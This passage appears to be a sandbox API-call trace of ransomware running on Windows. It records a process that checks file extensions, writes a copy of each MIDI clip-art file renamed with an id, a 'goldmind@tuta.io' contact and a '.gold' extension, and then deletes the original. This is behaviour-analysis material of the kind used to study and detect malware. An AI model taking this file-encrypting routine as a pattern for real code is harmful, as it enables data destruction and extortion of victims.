lstrlenW (lpString=".xlsx") returned 5 [0094.457] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0094.457] lstrlenW (lpString=".ppt") returned 4 [0094.457] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0094.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62 [0094.457] lstrlenW (lpString=".zip") returned 4 [0094.457] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0094.457] lstrlenW (lpString=".rar") returned 4 [0094.457] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0094.457] lstrlenW (lpString=".bz2") returned 4 [0094.457] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0094.457] lstrlenW (lpString=".7z") returned 3 [0094.457] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0094.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62 [0094.457] lstrlenW (lpString=".dbf") returned 4 [0094.457] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0094.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62 [0094.457] lstrlenW (lpString=".1cd") returned 4 [0094.457] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0094.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62 [0094.458] lstrlenW (lpString=".jpg") returned 4 [0094.458] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0094.458] lstrcmpiW (lpString1=".MID", lpString2=".gold") returned 1 [0094.458] lstrlenW (lpString="PARNT_02.MID") returned 12 [0094.458] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_02.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0094.462] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=5714) returned 1 [0094.462] CloseHandle (hObject=0x398) returned 1 [0094.462] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_02.mid")) returned 0x20 [0094.470] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_02.mid.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0094.478] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_02.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0094.494] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.494] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.494] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_02.mid.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0094.496] GetLastError () returned 0x0 [0094.496] ReadFile (in: hFile=0x3a0, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x1652, lpOverlapped=0x0) returned 1 [0094.497] WriteFile (in: hFile=0x3b0, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0x1660, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0x1660, lpOverlapped=0x0) returned 1 [0094.498] ReadFile (in: hFile=0x3a0, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0094.498] WriteFile (in: hFile=0x3b0, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0xec, lpOverlapped=0x0) returned 1 [0094.498] SetEndOfFile (hFile=0x3b0) returned 1 [0094.498] CloseHandle (hObject=0x3b0) returned 1 [0094.498] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.499] SetEndOfFile (hFile=0x3a0) returned 1 [0094.510] CloseHandle (hObject=0x3a0) returned 1 [0094.510] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0094.543] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_02.mid")) returned 1 [0094.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 63 [0094.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 63 [0094.543] lstrlenW (lpString=".doc") returned 4 [0094.543] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0094.543] lstrlenW (lpString=".docx") returned 5 [0094.543] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1 [0094.543] lstrlenW (lpString=".pdf") returned 4 [0094.543] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0094.543] lstrlenW (lpString=".xls") returned 4 [0094.543] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0094.543] lstrlenW (lpString=".xlsx") returned 5 [0094.543] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1 [0094.543] lstrlenW (lpString=".ppt") returned 4 [0094.543] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0094.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 63 [0094.543] lstrlenW (lpString=".zip") returned 4 [0094.543] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0094.543] lstrlenW (lpString=".rar") returned 4 [0094.543] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0094.543] lstrlenW (lpString=".bz2") returned 4 [0094.543] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0094.543] lstrlenW (lpString=".7z") returned 3 [0094.543] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0094.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 63 [0094.544] lstrlenW (lpString=".dbf") returned 4 [0094.544] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0094.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 63 [0094.544] lstrlenW (lpString=".1cd") returned 4 [0094.544] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0094.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 63 [0094.544] lstrlenW (lpString=".jpg") returned 4 [0094.544] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0094.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 63 [0094.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 63 [0094.544] lstrlenW (lpString=".doc") returned 4 [0094.544] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0094.544] lstrlenW (lpString=".docx") returned 5 [0094.544] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1 [0094.544] lstrlenW (lpString=".pdf") returned 4 [0094.544] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0094.544] lstrlenW (lpString=".xls") returned 4 [0094.544] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0094.544] lstrlenW (lpString=".xlsx") returned 5 [0094.544] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1 [0094.544] lstrlenW (lpString=".ppt") returned 4 [0094.544] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0094.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 63 [0094.544] lstrlenW (lpString=".zip") returned 4 [0094.544] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0094.544] lstrlenW (lpString=".rar") returned 4 [0094.544] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0094.544] lstrlenW (lpString=".bz2") returned 4 [0094.544] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0094.544] lstrlenW (lpString=".7z") returned 3 [0094.544] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0094.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 63 [0094.544] lstrlenW (lpString=".dbf") returned 4 [0094.544] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0094.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 63 [0094.544] lstrlenW (lpString=".1cd") returned 4 [0094.544] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0094.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 63 [0094.544] lstrlenW (lpString=".jpg") returned 4 [0094.544] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0094.544] lstrcmpiW (lpString1=".MID", lpString2=".gold") returned 1 [0094.544] lstrlenW (lpString="PARNT_07.MID") returned 12 [0094.544] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_07.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0094.546] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=6564) returned 1 [0094.546] CloseHandle (hObject=0x33c) returned 1 [0094.546] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_07.mid")) returned 0x20 [0094.546] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_07.mid.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0094.546] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_07.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0094.547] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.547] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.547] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_07.mid.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0094.547] GetLastError () returned 0x0 [0094.547] ReadFile (in: hFile=0x33c, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x19a4, lpOverlapped=0x0) returned 1 [0094.552] WriteFile (in: hFile=0x39c, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0x19b0, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0x19b0, lpOverlapped=0x0) returned 1 [0094.553] ReadFile (in: hFile=0x33c, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0094.553] WriteFile (in: hFile=0x39c, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0xec, lpOverlapped=0x0) returned 1 [0094.553] SetEndOfFile (hFile=0x39c) returned 1 [0094.554] CloseHandle (hObject=0x39c) returned 1 [0094.555] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.555] SetEndOfFile (hFile=0x33c) returned 1 [0094.557] CloseHandle (hObject=0x33c) returned 1 [0094.557] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0094.558] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_07.mid")) returned 1 [0094.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 63 [0094.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 63 [0094.558] lstrlenW (lpString=".doc") returned 4 [0094.558] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0094.558] lstrlenW (lpString=".docx") returned 5 [0094.558] lstrcmpiW (lpString1=".docx", lpString2="7.MID") returned -1 [0094.558] lstrlenW (lpString=".pdf") returned 4 [0094.558] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0094.558] lstrlenW (lpString=".xls") returned 4 [0094.558] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0094.558] lstrlenW (lpString=".xlsx") returned 5 [0094.558] lstrcmpiW (lpString1=".xlsx", lpString2="7.MID") returned -1 [0094.558] lstrlenW (lpString=".ppt") returned 4 [0094.558] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0094.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 63 [0094.558] lstrlenW (lpString=".zip") returned 4 [0094.558] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0094.558] lstrlenW (lpString=".rar") returned 4 [0094.558] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0094.559] lstrlenW (lpString=".bz2") returned 4 [0094.559] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0094.559] lstrlenW (lpString=".7z") returned 3 [0094.559] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0094.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 63 [0094.559] lstrlenW (lpString=".dbf") returned 4 [0094.559] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0094.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 63 [0094.559] lstrlenW (lpString=".1cd") returned 4 [0094.559] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0094.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 63 [0094.559] lstrlenW (lpString=".jpg") returned 4 [0094.559] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0094.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 63 [0094.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 63 [0094.559] lstrlenW (lpString=".doc") returned 4 [0094.559] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0094.559] lstrlenW (lpString=".docx") returned 5 [0094.559] lstrcmpiW (lpString1=".docx", lpString2="7.MID") returned -1 [0094.559] lstrlenW (lpString=".pdf") returned 4 [0094.559] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0094.559] lstrlenW (lpString=".xls") returned 4 [0094.559] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0094.559] lstrlenW (lpString=".xlsx") returned 5 [0094.559] lstrcmpiW (lpString1=".xlsx", lpString2="7.MID") returned -1 [0094.559] lstrlenW (lpString=".ppt") returned 4 [0094.559] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0094.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 63 [0094.559] lstrlenW (lpString=".zip") returned 4 [0094.559] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0094.559] lstrlenW (lpString=".rar") returned 4 [0094.559] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0094.559] lstrlenW (lpString=".bz2") returned 4 [0094.559] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0094.559] lstrlenW (lpString=".7z") returned 3 [0094.559] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0094.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 63 [0094.559] lstrlenW (lpString=".dbf") returned 4 [0094.559] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0094.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 63 [0094.559] lstrlenW (lpString=".1cd") returned 4 [0094.559] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0094.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 63 [0094.559] lstrlenW (lpString=".jpg") returned 4 [0094.559] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0094.559] lstrcmpiW (lpString1=".MID", lpString2=".gold") returned 1 [0094.559] lstrlenW (lpString="PARNT_08.MID") returned 12 [0094.559] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_08.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0094.560] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=7347) returned 1 [0094.560] CloseHandle (hObject=0x33c) returned 1 [0094.560] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_08.mid")) returned 0x20 [0094.560] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_08.mid.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0094.560] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_08.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0094.560] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.560] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.560] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_08.mid.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0094.561] GetLastError () returned 0x0 [0094.561] ReadFile (in: hFile=0x33c, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x1cb3, lpOverlapped=0x0) returned 1 [0094.562] WriteFile (in: hFile=0x394, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0x1cc0, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0x1cc0, lpOverlapped=0x0) returned 1 [0094.563] ReadFile (in: hFile=0x33c, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0094.563] WriteFile (in: hFile=0x394, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0xec, lpOverlapped=0x0) returned 1 [0094.563] SetEndOfFile (hFile=0x394) returned 1 [0094.563] CloseHandle (hObject=0x394) returned 1 [0094.563] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.563] SetEndOfFile (hFile=0x33c) returned 1 [0094.565] CloseHandle (hObject=0x33c) returned 1 [0094.565] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0094.566] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_08.mid")) returned 1 [0094.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63 [0094.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63 [0094.566] lstrlenW (lpString=".doc") returned 4 [0094.566] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0094.566] lstrlenW (lpString=".docx") returned 5 [0094.566] lstrcmpiW (lpString1=".docx", lpString2="8.MID") returned -1 [0094.566] lstrlenW (lpString=".pdf") returned 4 [0094.566] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0094.566] lstrlenW (lpString=".xls") returned 4 [0094.566] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0094.566] lstrlenW (lpString=".xlsx") returned 5 [0094.566] lstrcmpiW (lpString1=".xlsx", lpString2="8.MID") returned -1 [0094.566] lstrlenW (lpString=".ppt") returned 4 [0094.566] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0094.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63 [0094.566] lstrlenW (lpString=".zip") returned 4 [0094.566] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0094.566] lstrlenW (lpString=".rar") returned 4 [0094.566] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0094.566] lstrlenW (lpString=".bz2") returned 4 [0094.566] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0094.566] lstrlenW (lpString=".7z") returned 3 [0094.566] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0094.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63 [0094.567] lstrlenW (lpString=".dbf") returned 4 [0094.567] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0094.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63 [0094.567] lstrlenW (lpString=".1cd") returned 4 [0094.567] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0094.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63 [0094.567] lstrlenW (lpString=".jpg") returned 4 [0094.567] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0094.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63 [0094.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63 [0094.567] lstrlenW (lpString=".doc") returned 4 [0094.567] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0094.567] lstrlenW (lpString=".docx") returned 5 [0094.567] lstrcmpiW (lpString1=".docx", lpString2="8.MID") returned -1 [0094.567] lstrlenW (lpString=".pdf") returned 4 [0094.567] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0094.567] lstrlenW (lpString=".xls") returned 4 [0094.567] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0094.567] lstrlenW (lpString=".xlsx") returned 5 [0094.567] lstrcmpiW (lpString1=".xlsx", lpString2="8.MID") returned -1 [0094.567] lstrlenW (lpString=".ppt") returned 4 [0094.567] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0094.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63 [0094.567] lstrlenW (lpString=".zip") returned 4 [0094.567] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0094.567] lstrlenW (lpString=".rar") returned 4 [0094.567] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0094.567] lstrlenW (lpString=".bz2") returned 4 [0094.567] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0094.567] lstrlenW (lpString=".7z") returned 3 [0094.567] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0094.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63 [0094.567] lstrlenW (lpString=".dbf") returned 4 